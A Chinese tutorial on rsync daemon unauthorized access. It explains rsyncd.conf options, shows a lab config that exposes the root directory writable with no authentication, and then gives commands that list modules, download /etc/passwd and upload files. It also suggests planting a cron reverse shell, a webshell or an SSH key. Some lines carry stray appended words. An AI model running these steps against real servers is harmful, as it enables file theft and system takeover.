rsync 未受权访问漏洞

rsync

rsync,remote synchronize顾名思意就知道它是一款实现远程同步功能的软件,它在同步文件的同时,能够保持原来文件的权限、时间、软硬连接等附加信息。 rsync是用 “rsync 算法”提供了一个客户机和远程文件服务器的文件同步的快速方法,并且能够经过ssh方式来传输文件,这样其保密性也很是好html

rsync配置文件

配置文件 rsyncd.conf 由全局配置和若干模块配置组成。通常在/etc/rsyncd.conf
配置文件的语法为:算法

  • 模块以 [模块名] 开始
    模块定义什么呢?主要是定义服务器哪一个目录要被同步。每一个模块都要以[name]形式。这个名字就是在rsync 客户端看到的名字,其实有点象Samba服务器提供的共享名。而服务器真正同步的数据是经过path 指定的。咱们能够根据本身的须要,来指定多个模块。每一个模块要指定认证用户,密码文件、但排除并非必须的
  • 参数配置行的格式是 name = value ,其中 value 能够有两种数据类型:
  • 字符串(能够不用引号定界字符串)
  • 布尔值(1/0 或 yes/no 或 true/false)
  • 以 # 或 ; 开始的行为注释
  •  \为续行符
参数 说明
uid 此参数指定与该模块之间的文件传输的用户名或用户ID
gid 此参数指定在访问模块时将使用的一个或多个组名称/ID
use chroot 若为 true,则 rsync 在传输文件以前首先 chroot 到 path 参数所指定的目录下。这样作的缘由是实现额外的安全防御,可是缺点是须要 root 权限,而且不能备份指向 path 外部的符号链接所指向的目录文件
max connections 指定该模块的最大并发链接数量以保护服务器,超过限制的链接请求将被告知随后再试
syslog facility 指定 rsync 发送日志消息给 syslog 时的消息级别
pid file rsync 的守护进程将其 PID 写入指定的文件
log file 指定 rsync 守护进程的日志文件,而不将日志发送给 syslog
path 指定当前模块在 rsync 服务器上的同步路径,该参数是必须指定的
comment 给模块指定一个描述,该描述连同模块名在客户链接获得模块列表时显示给客户
read only 指定是否容许客户上传文件。若为 true 则不容许上传;若为 false 而且服务器目录也具备读写权限则容许上传
auth users 指定验证用户名,能够不设置,不设置默认不用密码,设置的话安全性更高点
secrets file 指定密码文件,若是设定验证用户,这一项必须设置,设定密码权限为400
hosts allow 设置能够容许访问的主机,能够是网段,多个Ip地址用空格隔开

该漏洞环境下rsync的配置文件

uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/rsyncd.logshell

[src]
path = /
comment = src path
read only = no安全

由配置文件,咱们能够访问path所指定目录之外的目录,该配置还定义了一个src模块,路径指向根目录,并且可读可写,最重要的是没有设置用户名,如此便无需密码直接访问服务器

复现

  • 查看可用模块
    rsync 192.168.122.1::
    rsync rsync://192.168.122.1:873/
    rsync rsync://192.168.122.1
    并发

  • 列出模块下文件
    rsync 192.168.122.1::src
    rsync rsync://192.168.122.1/src
    ssh

  • 下载任意文件
    rsync rsync://192.168.122.1/src/etc/passwd ./
    rsync 192.168.122.1::src/etc/passwd ./
    ui

  • 上传任意文件
    rsync x.txt rsync://192.168.122.1/src/home/
    rsync x.txt 192.168.122.1::src/home/

    日志

而后能够写入了一个cron任务,反弹shell,有Web服务的话,能够写WebShell,或者写ssh公钥等code

参考:
rsyncd.conf